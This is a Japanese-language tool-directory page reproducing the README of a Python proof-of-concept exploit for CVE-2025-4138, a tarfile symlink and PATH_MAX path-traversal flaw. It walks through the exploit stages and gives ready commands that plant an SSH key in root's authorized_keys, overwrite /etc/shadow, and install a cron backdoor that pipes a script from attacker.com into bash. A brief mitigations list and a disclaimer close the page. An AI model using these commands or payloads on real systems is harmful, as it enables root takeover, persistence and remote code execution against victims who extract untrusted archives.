Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4138-POC — CVE-2025-4138のPython PoC、Pythonのtarfileモジュールにおけるパストラバーサル。シンボリックリンクチェーンを悪用してPATH_MAXをバイパスし、任意ファイル書き込みを可能にする。 | Kitploit
ツール/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

CVE-2025-4138のPython PoC、Pythonのtarfileモジュールにおけるパストラバーサル。シンボリックリンクチェーンを悪用してPATH_MAXをバイパスし、任意ファイル書き込みを可能にする。

リポジトリを見る
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-4138 - Python tarfile PATH_MAX バイパス PoC

著者: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX バイパス ]
  [ 著者: d3vn0mi                                   ]

概要

CVE-2025-4138 の概念実証エクスプロイトです。これはPythonのtarfileモジュールにおけるパストラバーサル脆弱性であり、攻撃者は悪意のあるtarアーカイブを作成し、シンボリックリンクチェーンを悪用してPATH_MAXを超過することで、意図された展開ディレクトリ外の任意の場所にファイルを書き込むことができます。

脆弱性の詳細

フィールド値
CVE IDCVE-2025-4138
コンポーネントPython tarfile モジュール
タイプパストラバーサル (CWE-22)
ベクターシンボリックリンクチェーン + PATH_MAX バイパス
影響展開ディレクトリ外への任意のファイル書き込み

動作の仕組み

エクスプロイトは4つの段階で動作します:

  1. パスの膨張 -- 深くネストされたディレクトリとシンボリックリンクのチェーンを構築し、完全に解決されたパスがカーネルのPATH_MAX制限(Linuxでは4096バイト)を超えるようにします。

  2. ピボットシンボリックリンク -- 解決されたパスがPATH_MAX境界を超えるシンボリックリンクを追加します。パスが長すぎて解決できないため、Pythonのtarfile安全性チェック(os.path.realpath()に依存)は静かに失敗し、検証をスキップします。

  3. エスケープシンボリックリンク -- 2番目のシンボリックリンクは、ピボットを通じて../トラバーサルを使用して展開ディレクトリを完全に脱出し、ファイルシステム上の攻撃者が制御する絶対パスを指します。

  4. ペイロードドロップ -- エスケープシンボリックリンクを通じて通常のファイルが書き込まれ、攻撃者が制御する内容とパーミッションでターゲットパスに配置されます。

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247 char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

インストール

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

外部依存関係は不要です。エクスプロイトはPython 3標準ライブラリモジュールのみを使用します。

使用方法

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

オプション

フラグ説明
-o, --output出力tarballのパス(デフォルト: exploit.tar)
-t, --targetターゲットに書き込むファイルの絶対パス(デフォルト: /root/.ssh/authorized_keys)
-p, --payloadペイロード内容となるファイルへのパス
-s, --payload-stringリテラル文字列をペイロードとして使用
-k, --ssh-keySSH公開鍵ファイルへのパス
-m, --modeファイルパーミッションモード(8進数)(デフォルト: 0600)
-d, --depthディレクトリトラバーサルの深さ(デフォルト: 8)
-v, --verify作成後にtarballの内容をダンプ
-q, --quietバナーを非表示

使用例

SSH公開鍵をrootのauthorized_keysに書き込む:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

永続化のためのcronジョブを書き込む:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

ローカルファイルから任意のファイル内容を書き込む:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

出力

root@kitploit:~
[*] エクスプロイトtarballを作成中: exploit.tar
[*] ターゲットファイル: /root/.ssh/authorized_keys
[*] ペイロードサイズ: 574 バイト
[*] トラバーサル深さ: 8
[*] ステージ1/4: パス膨張のためのシンボリックリンクチェーンを作成中...
[*]   チェーンリンク1/16: 解決されたパス長 ~247 バイト
[*]   チェーンリンク2/16: 解決されたパス長 ~494 バイト
    ...
[*] ステージ2/4: ピボットシンボリックリンクを作成中 (PATH_MAX バイパス)...
[*] ステージ3/4: エスケープシンボリックリンクを作成中 (ディレクトリトラバーサル)...
[*] ステージ4/4: エスケープシンボリックリンクを通じてペイロードを書き込み中...
[+] エクスプロイトtarballを作成しました: exploit.tar
[+] アーカイブサイズ: 20480 バイト
[+] ターゲット: /root/.ssh/authorized_keys (mode 0o600)
[+] 完了。注意して使用してください - 許可されたテストのみ。

緩和策

  • Pythonのアップグレード 修正がリリースされたらパッチ適用版にアップグレードしてください。
  • tarfile.data_filter の使用 (Python 3.12+) により、より厳格な展開制御が可能です。
  • 信頼できないtarアーカイブをrootとして、または重要なディレクトリに展開しないでください。
  • --strip-components の使用 または展開前にアーカイブの内容を検証してください。
  • ファイルシステムレベルの保護 を適用してください。例:シンボリックリンクの追跡を制限する (fs.protected_symlinks)。

免責事項

このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する一切の責任を負いません。所有していないシステムに対してテストを行う前に、必ず適切な書面による許可を取得してください。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。


d3vn0mi | GitHub

ツールをダウンロード